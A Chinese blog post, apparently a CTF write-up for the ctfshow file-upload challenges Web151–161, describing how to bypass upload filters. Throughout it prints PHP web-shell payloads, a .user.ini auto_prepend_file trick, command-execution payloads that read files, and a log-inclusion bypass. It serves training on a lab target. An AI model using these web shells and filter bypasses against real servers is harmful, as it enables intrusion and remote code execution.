ctfshow_Web入门_文件上传(暂停)

Web151

1、F12检查上传点确认为JS验证,只支持png格式  

2、上传1.png,抓包修改文件名为1.php,内容为<?php @eval($_POST['x']); ?>

 

 

3、访问文件地址,使用hackbar(也可以使用burpsuite)在POST中传入x的值

 

 4、成功获取flag

 

Web152

1、F12检查上传点有JS验证,且后端也有过滤

2、上传1.php,Burp抓包修改文件类型为image/png

 

3、访问文件地址upload/1.php,Post传入a=system('tac ../f*');

4、成功获取flag

 

Web153

1、尝试以上操作,无效

2、上传正常图片1.png,抓包修改内容为后门木马<?php @eval($_POST[1]);?>

3、上传正常图片1.png,抓包修改文件名为.user.ini(格式解析文件,可以执行1.png中的php代码),内容为auto_prepend_file=1.png

4、访问上传目录upload,Post传入1=system('tac ../f*');

5、成功获取flag

 

Web154/155

1、上传正常图片1.png,修改内容为后门木马<?php @eval($_POST[1]);?>

2、提示上传失败,说明有过滤关键字

3、<?=eval($_POST[1]);?>成功上传,<?=?>就是替代<?php ?>

4、上传.user.ini,内容为auto_prepend_file=1.png

5、访问上传目录upload,Post传入1=system('tac ../f*');

6、成功获取flag

 

Web156 --过滤[]

绕过:使用{}替换

Payload:<?=eval($_POST{1});?>

 

Web157/158 --增加过滤[]{};

绕过:直接将写入命令执行语句

Payload:<?=system('tac ../f*')?>

 

Web159 --增加过滤()

绕过:把命令写在``中,系统命令符

Payload:<?=`tac ../f*`?>

 

Web160 --增加过滤空格``

绕过:包含日志文件

Payload:<?=include'/var/l"."og/nginx/access/l"."og?>

解题:访问/upload,查看源代码

 

Web161 --增加文件头检测

绕过:文件内容第一行加GIF89a

其他步骤同上

 

Web162...学习Python去了

posted @ 2022-03-02 14:38  爱吃菠菜的无力水手  阅读(173)  评论(0)    收藏  举报